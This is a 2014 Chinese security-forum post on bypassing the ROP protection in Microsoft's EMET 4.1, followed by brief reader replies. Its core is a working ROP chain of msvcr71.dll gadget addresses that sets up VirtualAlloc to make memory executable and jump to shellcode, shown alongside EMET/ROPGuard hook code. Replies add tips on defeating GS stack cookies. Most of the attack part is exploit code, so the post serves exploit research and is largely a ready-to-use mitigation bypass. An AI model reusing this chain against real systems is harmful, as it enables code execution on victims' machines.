首页
社区
课程
招聘
[原创]绕过EMET4.1关于ROP的防护
发表于: 2014-5-20 10:34 16232

[原创]绕过EMET4.1关于ROP的防护

2014-5-20 10:34
16232
class ROPGuard
{
public:
  //this code gets called when ROPGuard's dll is injected into a process
    ROPGuard() {

    //read settings
    ReadROPSettings();

    //create executable memory cache if needed
    if(GetROPSettings()->executableModuleCache) {
      InitCacheData();
    }

    //patch all critical functions
    PatchFunctions();

    if(GetROPSettings()->showMessageBoxOnLoaded) {
      MessageBoxA(NULL, "Successfully loaded ROPGuard dll into target process", "ROPGuard", MB_OK);
    }
  }
};

//ROPGuard object
ROPGuard h;
…
ret = PatchFunction(guardedFunctions[i].moduleName, 
      guardedFunctions[i].functionName,
      &(guardedFunctions[i].originalAddress),
      &(patchcode[patchsizeused]));
if(ret) {
      guardedFunctions[i].originalAddress = guardedFunctions[i].originalAddress^ADDR_SCRAMBLE_KEY;
      guardedFunctions[i].patchedAddress = (unsigned long)(&(patchcode[patchsizeused]));
      patchsizeused += 100;
    } else {
      guardedFunctions[i].originalAddress = 0;
    }
…
SUB ESP, PRESERVE_STACK //抬高栈顶
PUSHAD //保存进入关键函数前的通用寄存器的值
PUSH ESP
PUSH functionAddress //保存经过处理的关键函数地址
CALL ROPCheck  //实现各个rop检测功能的入口函数
ADD ESP, PRESERVE_STACK + space taken by PUSHAD //平衡堆栈
jmp patchHeaderEnd //跳到原函数真实入口地址
…
…
  关键函数地址    //此时eip被控制,指向这里
  0xAABBCCDD      //构造的返回地址
  Arg1
  Arg2
  Arg3
  Arg4
  …
//阶段(0) 配合之后的指令
"\x2e\x40\x34\x7c"  //0x7c34402e :  # POP EDX # RETN    ** [msvcr71.dll]
"\x98\xb1\x38\x7c"  //0x7c38b198 ;  [edx]可写 edx = 0x7c38b198
"\x13\x40\x37\x7c"  //0x7c374013 :  # POP EBP # RETN    ** [msvcr71.dll] **
"\x98\xb1\x38\x7c"  //0x7c38b198 ;  [ebp]可读 ebp = 0x7c38b198
//阶段(1) edx<--eax<--esi<--esp,edx准备作为VirtualAlloc的第一个参数
"\x4f\x2f\x37\x7c"  //0x7c372f4f :  # PUSH ESP # AND AL,10 # MOV DWORD PTR DS:[EDX],ECX # POP ESI # RETN
"\x38\x05\x35\x7c"  //0x7c350538 :  # MOV EAX,ESI # POP ESI # RETN
"\x00\x00\x00\x00"  //0x00000000 :  esi = 0
"\xc6\x09\x36\x7c"  //0x7c3609c6 :  # MOV EDX,EAX 
          //      # SUB EDX,ESI # MOV DWORD PTR DS:[EDX-4],ECX 
          //      # POP EDI # POP ESI # POP EBX 
          //      # RETN
"\x41\x41\x41\x41"  //0x41414141 :  占位   edi = 0x41414141
"\x98\xb1\x38\x7c"  //0x7c38b198 :  [esi]可写  esi = 0x7c38b198
"\x41\x41\x41\x41"  //0x41414141 :  占位   ebx = 0x41414141
//(2)ecx<--0x7c34a459
"\x19\xc0\x36\x7c"  //0x7c36c019 :  # POP ECX # RETN  ecx = 0x7c34a459
"\x59\xa4\x34\x7c"  //0x7c34a459,  # "call VirtualAlloc"
//阶段(3) 布置VirtualAlloc的参数
"\xce\x25\x34\x7c"  //0x7c3425ce :  # PUSH EDX # OR AL,39 //edx=第一个参数
          //      # PUSH ECX # OR BYTE PTR SS:[EBP+5],DH # MOV EAX,1 
          //      # RETN    ** [msvcr71.dll] **   |   {PAGE_EXECUTE_READ}
"\x00\x02\x00\x00"  //0x00000200,  # dwsize
"\x00\x10\x00\x00"  //0x00001000,  # flAllocationType
"\x40\x00\x00\x00"  //0x00000040,  # flProtect
"\x41\x41\x41\x41"  //0x41414141,  # junk
"\x42\x42\x42\x42"  //0x42424242,  # junk
"\x30\x5c\x34\x7c";  //0x7c345c30,  # ptr to 'push esp # ret ' [msvcr71.dll] 之后跟shellcode
"\x2e\x40\x34\x7c"  //0x7c34402e :  # POP EDX # RETN    ** [msvcr71.dll]
"\x98\xb1\x38\x7c"  //0x7c38b198 ;  [edx]可写 edx = 0x7c38b198
"\x13\x40\x37\x7c"  //0x7c374013 :  # POP EBP # RETN    ** [msvcr71.dll] **
"\x98\xb1\x38\x7c"  //0x7c38b198 ;  [ebp]可读 ebp = 0x7c38b198

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 4
支持
分享
最新回复 (21)
雪    币: 2664
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
2
可以可以...
2014-5-20 10:35
0
雪    币: 5
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
目测不错啊,找时间一定要仔细研究一下…
2014-5-20 10:45
0
雪    币: 1149
活跃值: (888)
能力值: ( LV13,RANK:260 )
在线值:
发帖
回帖
粉丝
4
不错 , 看住vProtect , 看不住 vAlloc ,IE+(x)s bypass 也不行哦!
2014-5-20 11:21
0
雪    币: 23
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
ring3 的防御本来就很浅, 直接写个syscall就过了
2014-5-20 13:00
0
雪    币: 1149
活跃值: (888)
能力值: ( LV13,RANK:260 )
在线值:
发帖
回帖
粉丝
6
rop  如何syscall?  求教
2014-5-20 13:05
0
雪    币: 116
活跃值: (70)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
7
愿闻其详~
2014-5-20 17:28
0
雪    币: 34
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
emet.005a0ca6,经分析部分核心结果如下

能否讲述下 如何寻找出这些核心,而忽略掉一些其他代码的?小弟刚刚接触逆向
2014-5-21 21:59
0
雪    币: 219
活跃值: (783)
能力值: (RANK:290 )
在线值:
发帖
回帖
粉丝
9
ding  支持一下
2014-5-22 01:26
0
雪    币: 215
活跃值: (90)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
10
缓冲溢出类gs应该难以绕过,除非结合信息泄漏来利用。
2014-5-22 09:29
0
雪    币: 116
活跃值: (70)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
11
触发异常,让异常接管就可以绕过
2014-5-22 10:49
0
雪    币: 116
活跃值: (70)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
12
触发异常,让异常接管就可绕过GS
2014-5-22 10:50
0
雪    币: 281
活跃值: (33)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
13
mmarh
2014-5-22 14:27
0
雪    币: 1233
活跃值: (907)
能力值: ( LV12,RANK:750 )
在线值:
发帖
回帖
粉丝
14
mark
2014-5-23 08:07
0
雪    币: 26
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
15
mark
2014-5-23 10:20
0
雪    币: 341
活跃值: (85)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
16
mark
2014-5-25 12:23
0
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
膜拜一下!!!顶!!!
2014-5-29 12:12
0
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
待会就研究一下
2014-5-29 17:22
0
雪    币: 43
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
膜拜牛人
2014-5-29 17:30
0
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
又仔细读了一遍帖子,又深刻理解了一遍,真心不错!!
2014-6-24 13:36
0
雪    币: 7
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
图文并茂,简洁明了,通俗易懂。感谢楼主大神分享。
2015-4-7 17:48
0
雪    币: 43
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
现在就希望多看rop的学习资料,vm壳等学习资料
2015-4-9 23:36
0
游客
登录 | 注册 方可回帖
返回
//